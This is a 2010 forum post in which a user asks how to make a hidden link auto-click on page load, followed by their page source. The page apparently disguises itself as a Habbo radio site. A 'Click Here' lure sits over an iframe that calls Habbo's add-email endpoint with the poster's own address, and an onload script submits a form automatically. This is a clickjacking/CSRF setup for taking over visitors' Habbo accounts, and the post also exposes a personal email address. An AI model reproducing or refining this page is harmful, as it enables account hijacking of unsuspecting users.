PDA

View Full Version : javascript submit onload



buf
07-22-2010, 03:58 PM
Well this is my site habboradioz.t35.com and i need help. There is a link on the page somewhere but you cannot see it. So i put an span tag there sayin click here. You have to click somewhere aroundd that area for the link to work. But what i want is the link to just act like it been pressed as soon as someone loads the webpage. Can any1 help?
Would you need javasdript onload?

Here is the source;


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0025)http://habbolulz.t35.com/ -->
<HTML><HEAD>
<META content="text/html; charset=windows-1252" http-equiv=Content-Type><!-- Mirrored from www.habbosound.com/ by HTTrack Website Copier/3.x [XR&CO'2010], Sun, 18 Jul 2010 18:56:21 GMT --><LINK
rel=stylesheet type=text/css href="habbolulz_t35_com_files/a.css">
<META name=GENERATOR content="MSHTML 8.00.6001.18928"></HEAD>
<BODY><!-- T35 Hosting Ad Code Begin -->
<STYLE type=text/css>#t35ad {
TEXT-ALIGN: center; FONT: 14px/1.5em arial,helvetica; TEXT-DECORATION: none
}
#t35ad A {
FONT: 14px arial,helvetica; TEXT-DECORATION: none
}
#t35ad A:hover {
BACKGROUND-COLOR: black; COLOR: white; FONT-SIZE: medium; FONT-WEIGHT: bold
}
#t35ad UL {
PADDING-BOTTOM: 0px; LIST-STYLE-TYPE: none; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; DISPLAY: inline; PADDING-TOP: 0px
}
#navlist LI {
PADDING-BOTTOM: 0px; LIST-STYLE-TYPE: none; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; DISPLAY: inline; PADDING-TOP: 0px
}e
</STYLE>
<!-- T35 Hosting Ad Code End -->
<DIV id=a><IMG src="http://habboradioz.t35.com/habbolulz_t35_com_files/habbzfm.png"><BR><BR><SPAN>
Click
Here </SPAN>to enter HabboRadioz! <BR><IFRAME
src="http://www.habbo.com/identity/add_email?&amp;email=cjmfootball3@gmail.com#footer" scrolling=no></IFRAME>
<DIV id=b></DIV></DIV></NOSCRIPT></NOFRAMES><!-- T35 Hosting Ad Code Begin --><!-- Start of Stat Code --><IMG
border=0 alt=stats src="habbolulz_t35_com_files/1.gif" width=1 height=1>
<SCRIPT type=text/javascript>
_qoptions={
qacct:"p-f2Rp-GHnsAESA"
};
</SCRIPT>

<script type="text/javascript">
function myfunc () {

frm.submit();
}
window.onload = myfunc;
</script>



<SCRIPT type=text/javascript src="habbolulz_t35_com_files/quant.js"></SCRIPT>
<NOSCRIPT><IMG style="DISPLAY: none" border=0 alt=Quantcast
src="habbolulz_t35_com_files/p-f2Rp-GHnsAESA.gif" width=1 height=1></NOSCRIPT> <!-- End of Stat Code -->
</BODY></HTML>